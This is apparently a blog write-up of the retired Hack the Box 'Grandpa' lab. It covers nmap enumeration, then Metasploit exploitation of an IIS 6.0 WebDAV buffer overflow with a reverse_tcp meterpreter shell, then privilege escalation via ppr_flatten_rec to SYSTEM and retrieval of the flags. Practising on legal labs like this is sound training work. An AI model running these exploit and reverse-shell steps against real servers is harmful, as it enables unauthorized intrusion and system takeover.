CTF Challenges

Hack the Box Challenge: Grandpa Walkthrough

Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Grandpa Lab.

Level: Beginners

Task: find user.txt and root.txt file in the victim’s machine.

Let’s begin the Game!!

Since these labs are online available therefore they have static IP and IP of Grandpa is so let’s begin with nmap port enumeration.

nmap -p- -sV

From nmap result I found the following information.

Open port: 80 for HTTP

Service version: Microsoft IIS httpd 6.0

OS: Windows machine.

Then I used searchsploit for iis 6.0 and found a Remote Buffer overflow vulnerability in Microsoft IIS httpd 6.0, you can check this exploit in google also.

Then I run the msfconsole command in the terminal and load Metasploit framework for using Microsoft IIS WebDAV ScStoragePathFromUrl Overflow module for exploiting target machine.

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.

Then I run command getuid for identifying user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.

For that background your current meterpreter shell and go for post exploitation.

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.

use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > run

Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.

use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
msf exploit(windows/local/ppr_flatten_rec) > run

Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.

meterpreter > getuid

Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.

meterpreter > shell

Inside C:\Document and Setting\Harry\Desktop I found the user.txt file and used the type “filename” command for reading this file.

type user.txt

Great!! We got our 1st flag successfully

Inside C:\Document and Setting\Administrtator\Desktop I found the root.txt file and used the type “filename” command for reading this file.

type root.txt

Great!! We got our 2nd flag successfully

Breaching this lab was an interesting and enjoyable moment for me. It will take less time if you are aware of proper Metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.

Happy Hacking!!

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here